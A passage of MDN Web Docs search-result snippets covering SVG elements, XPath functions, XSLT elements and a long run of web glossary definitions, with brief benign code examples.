lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification.
<radialGradient> - SVG: Scalable Vector Graphics
the gradient will be drawn such that the 0% <stop> is mapped to the perimeter of the start circle.
...the gradient will be drawn such that the 100% <stop> is mapped to the perimeter of the end circle.
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
it supports all attribute types, including those that cannot reasonably be interpolated, such as string and boolean values.
...the value must match the requirements of the target attribute.
<solidcolor> - SVG: Scalable Vector Graphics
note: this is an experimental technology, and not yet implemented in browsers.
...--> <solidcolor id="mycolor" solid-color="gold" solid-opacity="0.8"/> <!-- lineargradient with a single color stop is a less elegant way to achieve the same effect, but it works in current browsers.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
note: for backward compatibility with svg 1.1, <title> elements should be the first child element of their parent.
... <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
--> </svg> the effect is the same as if the nodes were deeply cloned into a non-exposed dom, then pasted where the use element is, much like cloned template elements in html5.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
Specification Deviations - SVG: Scalable Vector Graphics
in general this change will not be visible to svg authors (the elements for which the svg specification does not define the 'class' and 'style' attribute are elements that are not displayed directly).
...requiring svg authors to know which elements can and cannot take a 'class' attribute would just put an extra burden on them.
Other content in SVG - SVG: Scalable Vector Graphics
embedding raster images much like the img element in html svg has an image element to serve the same purpose.
... since the foreignobject is an svg element, you can, like in the case of image, use any svg goodness with it, which then will be applied to its content.
Insecure passwords - Web security
if a website uses http instead of https, it is trivial to steal user information (such as their login credentials).
...for example, a news site may save which news articles a user wants to go back to and read, but not save any other data about a user.
xml:base - XML: Extensible Markup Language
WebXMLxml:base
support was removed from blink (chrome and opera) in 2015: chromium bug 341854 blink-dev mailing list post and from firefox 66 in bug 903372.
... zapfdingbats_ghr; fill: #161615; } ]]></style> <text x="647" y="412" dx="0" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src: url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the svg and thereby bypass cors issue while not changing the base uri for your entire document.
descendant - XPath
WebXPathAxesdescendant
the descendant axis indicates all of the children of the context node, and all of their children, and so forth.
... attribute and namespace nodes are not included - the parent of an attribute node is an element node, but attribute nodes are not the children of their parents.
Comparison of CSS Selectors and XPath - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes this article seeks to document the difference between css selectors and xpath for web developers to be able to better choose the right tool for the right job.
... xpath feature css equivalent ancestor, parent or preceding-sibling axis :has() selector attribute axis attribute selectors child axis child combinator descendant axis descendant combinator following-sibling axis general sibling combinator or adjacent sibling combinator self axis :scope or :host selector ...
current - XPath
for an outermost expression (an expression not occurring within another expression), the current node is always the same as the context node (which will be returned by the .
...returns the bar node, which may be different from the current node.
id - XPath
WebXPathFunctionsid
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the id function finds nodes matching the given ids and returns a node-set containing the identified nodes.
... syntax id(expression ) arguments expression if expression is a node-set, then the string value of each node in the node-set is treated as an individual id.
position - XPath
<xsl:template match="//a[position() = 5]"> <!-- this template matches the fifth a element anywhere in the document.
... --> </xsl:template> <xsl:template match="//div[@class='foo']/bar[position() = 1]"> <!-- this template matches the first bar element that is a child of a div element with a class attribute equal to "foo" --> </xsl:template> defined xpath 1.0 4.1 gecko support supported.
string-length - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the string-length function returns a number equal to the number of characters in a given string.
... returns an integer equal to the number of characters in the string.
substring - XPath
if omitted, the returned string will contain every character from thestart position to the end ofstring.
...the first character in the string has a position of 1, not 0.
sum - XPath
WebXPathFunctionssum
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the sum function returns a number that is the sum of the numeric values of each node in a given node-set.
...each node in this node-set is evaluated as if it were passed to the number() function, and a sum of the resulting numbers is returned.
<xsl:attribute> - XSLT: Extensible Stylesheet Language Transformations
the element must be defined before any other output document element inside the output document element for which it establishes attribute values.
... but it may be after or inside elements that won't be part of the output (like <xsl:choose> or <xsl:apply-templates> etc.).
<xsl:copy> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementcopy
it does not copy any children or attributes of the current node.
...names of the sets should be separated with whitespace characters.
<xsl:namespace-alias> - XSLT: Extensible Stylesheet Language Transformations
to prevent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree.
... type top-level, must be the child of <xsl:stylesheet> or <xsl:transform>.
<xsl:strip-space> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:strip-space> element defines the elements in the source document for which whitespace should be removed.
... type top-level, must be a child of <xsl:stylesheet> or <xsl:transform>.
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
it also determines the collation used by certain xslt constructs (such as <xsl:key> and xsl:for-each-group) within its scope.
... input-type-annotations specifies whether type annotations are stripped from the element so the same results are produced whether the source documents have been validated against a schema or not.
<xsl:text> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtext
to output html-entities, use numerical values instead, eg &#160; for &nbsp;) specifies whether special characters are escaped when written to the output.
...if "yes" is set, for example, the character > is output as >, not as &gt;.
<xsl:value-of> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementvalue-of
to output html-entities, use numerical values instead, eg &#160 for &nbsp) specifies whether special characters are escaped when written to the output.
...if "yes" is set, for example, the character > is output as >, not as "&gt".
<xsl:when> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementwhen
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:when> element always appears within an <xsl:choose> element, acting like a case statement.
... type subinstruction, always appears within an <xsl:choose> element.
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
elements xsl:apply-imports (supported) xsl:apply-templates (supported) xsl:attribute (supported) xsl:attribute-set (supported) xsl:call-template (supported) xsl:choose (supported) xsl:comment (supported) xsl:copy (supported) xsl:copy-of (supported) xsl:decimal-format (supported) xsl:element (supported) xsl:fallback (not supported) xsl:for-each (supported) xsl:if (supported) xsl:import (mostly supported) xsl:include (supported) xsl:key (supported) xsl:message (supported) xsl:namespace-alias (not supported) xsl:number (partially s...
...l:preserve-space (supported) xsl:processing-instruction xsl:sort (supported) xsl:strip-space (supported) xsl:stylesheet (partially supported) xsl:template (supported) xsl:text (partially supported) xsl:transform (supported) xsl:value-of (partially supported) xsl:variable (supported) xsl:when (supported) xsl:with-param (supported) axes ancestor ancestor-or-self attribute child descendant descendant-or-self following following-sibling namespace (not supported) parent preceding preceding-sibling self functions boolean() (supported) ceiling() (supported) concat() (supported) contains() (supported) count() (supported) current() (supported) document() (supported) element-available() (supported) false() (supported) floor() (supported) fo...
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
xslt provides the xsl:param element, which is a child of the xsl:stylesheet element.
...setparameter requires a third argument - namely the value to which the parameter will be set.
Community - Extensions
mozillazine extensions & themes forum #extdev channel on moznet irc network — extension development questions #addons channel on moznet irc network — questions about http://addons.mozilla.org mozdev project owners mailing list mozillazine knowledge base allyourideas — ideas for extensions ((really needs a unique captcha)) babelzilla — a community for developers and translators of extension for mozilla applications ...
Bounce off the walls - Game development
compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps this is starting to look more like a game now, but we can't control it in any way — it's high time we introduced the player paddle and controls.
ALPN - MDN Web Docs Glossary: Definitions of Web-related terms
application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional round trips.
ASCII - MDN Web Docs Glossary: Definitions of Web-related terms
ascii (american standard code for information interchange) is one of the most popular coding method used by computers for converting letters, numbers, punctuation and control codes into digital form.
ATAG - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge atag as part of the web accessibility initiative on wikipedia technical reference authoring tool accessibility guidelines (atag) overview the atag 2.0 recommendation ...
Adobe Flash - MDN Web Docs Glossary: Definitions of Web-related terms
flash is an obsolescent technology developed by adobe for viewing expressive web applications, multimedia content, and streaming media.
Alignment subject - MDN Web Docs Glossary: Definitions of Web-related terms
flex containers for justify-content, the flex items in each flex line.
Apple Safari - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge safari on wikipedia safari on apple.com technical information the webkit project webkit nightly build reporting a bug for safari ...
Argument - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge difference between parameter and argument on wikipedia technical reference the arguments object in javascript ...
Arpanet - MDN Web Docs Glossary: Definitions of Web-related terms
the arpanet (advanced research projects agency network) was an early computer network, constructed in 1969 as a robust medium to transmit sensitive military data and to connect leading research groups throughout the united states.
Bandwidth - MDN Web Docs Glossary: Definitions of Web-related terms
bandwidth is the measure of how much information can pass through a data connection in a given amount of time.
BiDi - MDN Web Docs Glossary: Definitions of Web-related terms
even when both directionalities occur in the same paragraph, the text in each language must appear in its proper directionality.
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: bigint the javascript global object bigint ...
Block (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
using the display property you can change whether an element displays inline or as a block (among many other options); blocks are also subject to the effects of positioning schemes and use of the position property.
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
a breadcrumb, or breadcrumb trail, is a navigational aid that is typically placed between a site's header and the main content, displaying either a hierarchy of the current page in relation to the the site's structure, from top level to current page, or a list of the links the user followed to get to the current page, in the order visited.
Browser - MDN Web Docs Glossary: Definitions of Web-related terms
learn more download a browser mozilla firefox google chrome microsoft edge opera browser ...
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
web related graphics and animations use cubic béziers, which are curves with four control points p0, p1, p2, and p3.
CMS - MDN Web Docs Glossary: Definitions of Web-related terms
a cms (content management system) is software that allows users to publish, organize, change, or remove various kinds of content, not only text but also embedded images, video, audio, and interactive code.
CRLF - MDN Web Docs Glossary: Definitions of Web-related terms
cr and lf are control characters or bytecode that can be used to mark a line break in a text file.
CRUD - MDN Web Docs Glossary: Definitions of Web-related terms
crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status.
CSP - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge content security policy on wikipedia technical knowledge content security policy documentation on mdn ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
there are many ways to prevent csrf, such as implementing restful api, adding secure tokens, etc.
CSS preprocessor - MDN Web Docs Glossary: Definitions of Web-related terms
there are many css preprocessors to choose from, however most css preprocessors will add some features that don't exist in pure css, such as mixin, nesting selector, inheritance selector, and so on.
CalDAV - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge caldav on wikipedia technical reference rfc 4791: calendaring extensions to webdav (caldav) rfc 6638: scheduling extensions to caldav ...
CardDAV - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge carddav on wikipedia technical reference rfc 6352: vcard extensions to web distributed authoring and versioning (webdav) ...
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
there is no guarantee that all attack methods have been discovered, but each algorithm is judged against known classes of attacks.
Conditional - MDN Web Docs Glossary: Definitions of Web-related terms
a condition is a set of rules that can interrupt normal code execution or change it, depending on whether the condition is completed or not.
Constant - MDN Web Docs Glossary: Definitions of Web-related terms
a constant is a value that the programmer cannot change, for example numbers (1, 2, 42).
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
function default() { } // a new reference of a default object assigned to a // local variable defaultreference var defaultreference = new default(); learn more general knowledge constructor on wikipedia technical reference the constructor in object oriented programming for javascript on mdn new operator in javascript on mdn ...
Copyleft - MDN Web Docs Glossary: Definitions of Web-related terms
copyleft is a term, usually referring to a license, used to indicate that such license requires that redistribution of said work is subject to the same license as the original.
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code.
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
alignment of items on the cross axis is achieved with the align-items property on the flex container or align-self property on individual items.
Cryptographic hash function - MDN Web Docs Glossary: Definitions of Web-related terms
to be used for cryptography, a hash function must have these qualities: quick to compute (because they are generated frequently) not invertible (each digest could come from a very large number of messages, and only brute-force can generate a message that leads to a given digest) tamper-resistant (any change to a message leads to a different digest) collision-resistant (it should be impossible to find two different messages that produce the same digest) cryptographic hash functions such as md5 and sha-1 are considered broken, as attacks hav...
DTLS (Datagram Transport Layer Security) - MDN Web Docs Glossary: Definitions of Web-related terms
these features are especially useful for one of the most common areas in which dtls comes into play: webrtc.
Digest - MDN Web Docs Glossary: Definitions of Web-related terms
a digest can be used to perform several tasks: in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files) verify message integrity (a tampered message will have a different hash) store passwords so that they can't be retrieved, but can still be checked (to do this securely, you also need to salt the password.) generate pseudo-random numbers generate keys it is critical to choose the proper hash function for your use case to avoid collisions and predictability.
Digital certificate - MDN Web Docs Glossary: Definitions of Web-related terms
a digital certificate contains information about an organization, such as the common name (e.g., mozilla.org), the organization unit (e.g., mozilla corporation), and the location (e.g., mountain view).
Document directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp document directives are used in a content-security-policy header and govern the properties of a document or worker environment to which a policy applies.
Element - MDN Web Docs Glossary: Definitions of Web-related terms
in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing.
Encryption - MDN Web Docs Glossary: Definitions of Web-related terms
how hard depends on the security of the cryptographic algorithm chosen and evolves with the progress of cryptanalysis.
Expando - MDN Web Docs Glossary: Definitions of Web-related terms
expando properties are properties added to dom nodes with javascript, where those properties are not part of the object's dom specification: window.document.foo = 5; // foo is an expando the term may also be applied to properties added to objects without respecting the object's original intent, such as non-numeric named properties added to an array.
frame rate (FPS) - MDN Web Docs Glossary: Definitions of Web-related terms
a frame rate is the the speed at which the browser is able to recalculate, layout and paint content to the display.
Fallback alignment - MDN Web Docs Glossary: Definitions of Web-related terms
first baseline start last baseline safe end baseline start space-between flex-start (start) space-around center space-evenly center stretch flex-start (start) learn more css box alignment ...
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
a favicon (favorite icon) is a tiny icon included along with a website, which is displayed in places like the browser's address bar, page tabs and bookmarks menu.
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable.
First interactive - MDN Web Docs Glossary: Definitions of Web-related terms
more information first interactive is a variation of time to interactive, which is split into first interactive and consistently interactive.
Flex - MDN Web Docs Glossary: Definitions of Web-related terms
along with inline-flex it causes the element that it applies to to become a flex container, and the element's children to each become a flex item.
Flex Item - MDN Web Docs Glossary: Definitions of Web-related terms
the direct children of a flex container (elements with display: flex or display: inline-flex set on them) become flex items.
Forbidden response header name - MDN Web Docs Glossary: Definitions of Web-related terms
specifications specification status comment fetchthe definition of 'forbidden-response-header-name' in that specification.
Function - MDN Web Docs Glossary: Definitions of Web-related terms
or (https://en.wikipedia.org/wiki/immediately-invoked_function_expression) /* ​function foo() { console.log('hello foo'); }(); */ // function expressions, named or anonymous, can be called immediately (function foo() { console.log("hello foo"); }()); (function food() { console.log("hello food"); })(); (() => console.log('hello world'))(); if you'd like to know more about iifes, check out the following page on wikipedia : immediately invoked function expression learn more technical reference functions arrow functions ...
Fuzz testing - MDN Web Docs Glossary: Definitions of Web-related terms
fuzzing is a technique for testing software using automated tools to provide invalid or unexpected input to a program or function in a program, then checking the results to see if the program crashes or otherwise acts inappropriately.
GPL - MDN Web Docs Glossary: Definitions of Web-related terms
users of a gpl-licensed program are granted the freedom to use it, read the source code, modify it and redistribute the changes they made, provided they redistribute the program (modified or unmodified) under the same license.
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
it is based on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers.
General header - MDN Web Docs Glossary: Definitions of Web-related terms
the most common general headers are date, cache-control or connection.
Git - MDN Web Docs Glossary: Definitions of Web-related terms
what sets it apart from previous scm systems is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it.
Global scope - MDN Web Docs Glossary: Definitions of Web-related terms
in client-side javascript, the global scope is generally the web page inside which all the code is being executed.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
the third row on the grid is an implicit grid row track, formed due to their being more than the six items which fill the explicit tracks.
Grid Column - MDN Web Docs Glossary: Definitions of Web-related terms
when working with alignment in css grid layout, the axis down which columns run is known as the block, or column, axis.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
in a left-to-right language such as english, column line 1 will be on the left of the grid, row line 1 on the top.
Grid Row - MDN Web Docs Glossary: Definitions of Web-related terms
when working with alignment in css grid layout, the axis along which rows run is known as the inline, or row, axis.
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
track sizing in the explicit grid when defining grid tracks using grid-template-columns and grid-template-rows you may use any length unit, and also the flex unit, fr which indicates a portion of the available space in the grid container.
HSTS - MDN Web Docs Glossary: Definitions of Web-related terms
in other words, it tells the browser that changing the protocol from http to https in a url works (and is more secure) and asks the browser to do it for every request.
Head - MDN Web Docs Glossary: Definitions of Web-related terms
the head is the part of an html document that contains metadata about that document, such as author, description, and links to css or javascript files that should be applied to the html.
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
the idea of a language automatically translatable into machine code, but nearer to human logic, was introduced in computer science in the 1950s, especially thanks to the work of john backus (ibm), to whom it owes the first high-level language to have been widely circulated: fortran.
Hyperlink - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge hyperlink on wikipedia the hyperlink guide on mdn technical reference links in html documents - w3c html5 a - hyperlink - w3c learn about it <a> on mdn <link> on mdn ...
Hypertext - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge hypertext on wikipedia technical reference hypertext information base ...
I18N - MDN Web Docs Glossary: Definitions of Web-related terms
(the w3c definition) among other things, i18n requires support for multiple character sets (usually via unicode) units of measure (currency, °c/°f, km/miles, etc.) time and date formats keyboard layouts text directions learn more general knowledge i18n on wikipedia technical reference i18n on w3c i18n on gala-global.org learn about it i18n material on i18nguy.com ...
IANA - MDN Web Docs Glossary: Definitions of Web-related terms
iana (internet assigned numbers authority) is a subsidiary of icann charged with recording and/or assigning domain names, ip addresses, and other names and numbers used by internet protocols.
IETF - MDN Web Docs Glossary: Definitions of Web-related terms
the internet engineering task force (ietf) is a worldwide organization that drafts specifications governing the mechanisms behind the internet, especially the tcp/ip or internet protocol suite.
IMAP - MDN Web Docs Glossary: Definitions of Web-related terms
clients accessing a mailbox can receive information about state changes made from other clients.
ISO - MDN Web Docs Glossary: Definitions of Web-related terms
iso (international organization for standardization) is a global association that develops uniform criteria coordinating the companies in each major industry.
ISP - MDN Web Docs Glossary: Definitions of Web-related terms
an isp (internet service provider) sells internet access, and sometimes email, web hosting, and voice over ip, either by a dial-up connection over a phone line (formerly more common), or through a broadband connection such as a cable modem or dsl service.
Identifier - MDN Web Docs Glossary: Definitions of Web-related terms
an identifier is a sequence of characters in the code that identifies a variable, function, or property.
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
indexeddb is a web api for storing large data structures within browsers and indexing them for high-performance searching.
Input method editor - MDN Web Docs Glossary: Definitions of Web-related terms
input method editors are used in many situations: to enter chinese, japanese, or korean text using a latin keyboard to enter latin text using a numeric keypad to enter text on a touch screen using handwriting recognition ...
Intrinsic Size - MDN Web Docs Glossary: Definitions of Web-related terms
for text the min-content size would be if the text wrapped as small as it can in the inline direction without causing an overflow, doing as much soft-wrapping as possible.
Jank - MDN Web Docs Glossary: Definitions of Web-related terms
jank refers to sluggishness in a user interface, usually caused by executing long tasks on the main thread, blocking rendering, or expending too much processor power on background processes.
LGPL - MDN Web Docs Glossary: Definitions of Web-related terms
lgpl is usually used to license shared components such as libraries (.dll, .so, .jar, etc.).
Local scope - MDN Web Docs Glossary: Definitions of Web-related terms
local scope is a characteristic of variables that makes them local (i.e., the variable name is only bound to its value within a scope which is not the global scope).
mime - MDN Web Docs Glossary: Definitions of Web-related terms
initially used for e-mail attachments, it has become the de facto standard to define types of documents anywhere.
MIME type - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge internet media type on wikipedia technical reference list of mime types properly configuring server mime types details information about the usage of mime types in a web context.
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
unless intentionally using a web worker, such as a service worker, javascript runs on the main thread, so it's easy for a script to cause delays in event processing or painting.
Middleware - MDN Web Docs Glossary: Definitions of Web-related terms
in server-side web application frameworks, the term is often more specifically used to refer to pre-built software components that can be added to the framework's request/response processing pipeline, to handle tasks such as database access.
Mozilla Firefox - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge mozilla firefox official website technical reference firefox developer documentations on mdn ...
NNTP - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge nntp at wikipedia technical reference from the ietf: rfc 3977 about nntp (2006) ...
Namespace - MDN Web Docs Glossary: Definitions of Web-related terms
each file or subdirectory has a unique name, but one file may use the same name multiple times.
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
despite netscape's technical advantages and initial dominance, by the late 1990s internet explorer swiftly overtook netscape in market share.
Node (DOM) - MDN Web Docs Glossary: Definitions of Web-related terms
GlossaryNodeDOM
learn more technical reference the node tree whatwg spec ...
Node.js - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge node.js on wikipedia node.js website technical information api reference documentation tutorials ...
Normative - MDN Web Docs Glossary: Definitions of Web-related terms
specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule.
Nullish value - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a nullish value is the value which is either null or undefined.
Number - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: number the javascript global object number ...
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
oop (object-oriented programming) is an approach in programming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts.
OTA - MDN Web Docs Glossary: Definitions of Web-related terms
all device owners receiving a given set of updates are on the same "channel", and each device often can access several channels (e.g.
Object reference - MDN Web Docs Glossary: Definitions of Web-related terms
rather than holding a copy of the object, each assigned property holds object references that link to the same object, so that when the object changes all properties referring to the object reflect the change.
OpenGL - MDN Web Docs Glossary: Definitions of Web-related terms
the api is typically used to interact with a graphics processing unit (gpu), to achieve hardware-accelerated rendering.
PHP - MDN Web Docs Glossary: Definitions of Web-related terms
examples basic syntax // start of php code <?php // php code goes here ?> // end of php code printing data on screen <?php echo "hello world!"; ?> php variables ​​​​​​​​​​​​​​<?php // variables $nome='danilo'; $sobrenome='santos'; $pais='brasil'; $email='danilocarsan@gmailcom'; ​​​​​​​ // printing the variables echo $nome; echo $sobrenome; echo $pais; echo $email; ?> ...
POP3 - MDN Web Docs Glossary: Definitions of Web-related terms
pop3 does not support folders, unlike the more recent imap4, which is harder to implement because of its more complex structure.
Parameter - MDN Web Docs Glossary: Definitions of Web-related terms
output/return parameters primarily return multiple values from a function, but not recommended since they cause confusion learn more general knowledge difference between parameter and argument on wikipedia technical reference function declaration function expression ...
Parent object - MDN Web Docs Glossary: Definitions of Web-related terms
the object to which a given property or method belongs.
Pixel - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference pixel on wikipedia ...
Placeholder names - MDN Web Docs Glossary: Definitions of Web-related terms
placeholder names are commonly used in cryptography to indicate the participants in a conversation, without resorting to terminology such as "party a," "eavesdropper," and "malicious attacker." the most commonly used names are: alice and bob, two parties who want to send messages to each other, occasionally joined by carol, a third participant eve, a passive attacker who is eavesdropping on alice and bob's conversation mallory, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages ...
Plaintext - MDN Web Docs Glossary: Definitions of Web-related terms
it is frequently used interchangeably with the term cleartext, which more loosely refers to any information, such as a text document, image, etc., that has not been encrypted and can be read by a human or computer without additional processing.
Polymorphism - MDN Web Docs Glossary: Definitions of Web-related terms
in the case of oop, by making the class responsible for its code as well as its own data, polymorphism can be achieved in that each class has its own function that (once called) behaves properly for any object.
Presto - MDN Web Docs Glossary: Definitions of Web-related terms
since then, the opera browser is based on chromium, which uses the blink layout engine.
Progressive web apps - MDN Web Docs Glossary: Definitions of Web-related terms
this involves taking standard web sites/apps that enjoy all the best parts of the web — such as discoverability via search engines, being linkable via urls, and working across multiple form factors — and supercharging them with modern apis (such as service workers and push) and features that confer other benefits more commonly attributed to native apps.
Prototype-based programming - MDN Web Docs Glossary: Definitions of Web-related terms
prototype-based programming is a style of object-oriented programming in which classes are not explicitly defined, but rather derived by adding properties and methods to an instance of another class or, less frequently, adding them to an empty object.
Prototype - MDN Web Docs Glossary: Definitions of Web-related terms
see inheritance and the prototype chain learn more general knowledge software prototyping on wikipedia ...
Proxy server - MDN Web Docs Glossary: Definitions of Web-related terms
a proxy intercepts requests and serves back responses; it may forward the requests, or not (for example in the case of a cache), and it may modify it (for example changing its headers, at the boundary between two networks).
Pseudo-class - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference pseudo-class documentation ...
Pseudocode - MDN Web Docs Glossary: Definitions of Web-related terms
pseudocode refers to code-like syntax that is generally used to indicate to humans how some code syntax works, or illustrate the design of an item of code architecture.
Python - MDN Web Docs Glossary: Definitions of Web-related terms
it uses a multi-paradigm approach, meaning it supports procedural, object-oriented, and some functional programming constructs.
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
more information http headers using q-values in their syntax: accept, accept-charset, accept-language, accept-encoding, te.
Quaternion - MDN Web Docs Glossary: Definitions of Web-related terms
as such, the type dompoint (or dompointreadonly) is used to store quaternions.
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
prngs can be used for a variety of applications, such as games.
Recursion - MDN Web Docs Glossary: Definitions of Web-related terms
it keeps going until the number is equal to 0, in which case it stops.
Reflow - MDN Web Docs Glossary: Definitions of Web-related terms
reflow happens when a browser must process and draw part or all of a webpage again, such as after an update on an interactive site.
Rendering engine - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge web browser engine on wikipedia technical reference gecko documentation venkatraman.r - behind browsers (part 1, basics) ...
Resource Timing - MDN Web Docs Glossary: Definitions of Web-related terms
the resource timing api is a javascript api that is able to capture timing information for each individual resource that is fetched when a page is loaded.
Ruby - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge ruby on wikipedia technical reference ruby's official web site ruby on rails' official web site ...
SCM - MDN Web Docs Glossary: Definitions of Web-related terms
a programmer can modify source code files without being afraid of editing out useful stuff, because a scm keeps track of how the source code has changed and who made the changes.
SCTP - MDN Web Docs Glossary: Definitions of Web-related terms
sctp (stream control transmission protocol) is an ietf standard for a transport protocol which enables the reliable, in-order transmission of messages while offering congestion control, multi-homing, and other features to improve reliability and stability of the connection.
SDP - MDN Web Docs Glossary: Definitions of Web-related terms
sdp is also as component of webrtc, which uses sdp as a way of describing a session.
SMPTE (Society of Motion Picture and Television Engineers) - MDN Web Docs Glossary: Definitions of Web-related terms
the society of motion picture and television engineers (smpte) is the professional association of engineers and scientists that develop and define standards and technologies used to create, broadcast, store, and present entertainment media.
SOAP - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge soap on wikipedia soap in gecko-based browsers technical reference specification ...
Secure Sockets Layer (SSL) - MDN Web Docs Glossary: Definitions of Web-related terms
secure sockets layer, or ssl, was the old standard security technology for creating an encrypted network link between a server and client, ensuring all data passed is private and secure.
STUN - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge stun on wikipedia webrtc protocols technical reference specification ...
Same-origin policy - MDN Web Docs Glossary: Definitions of Web-related terms
the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
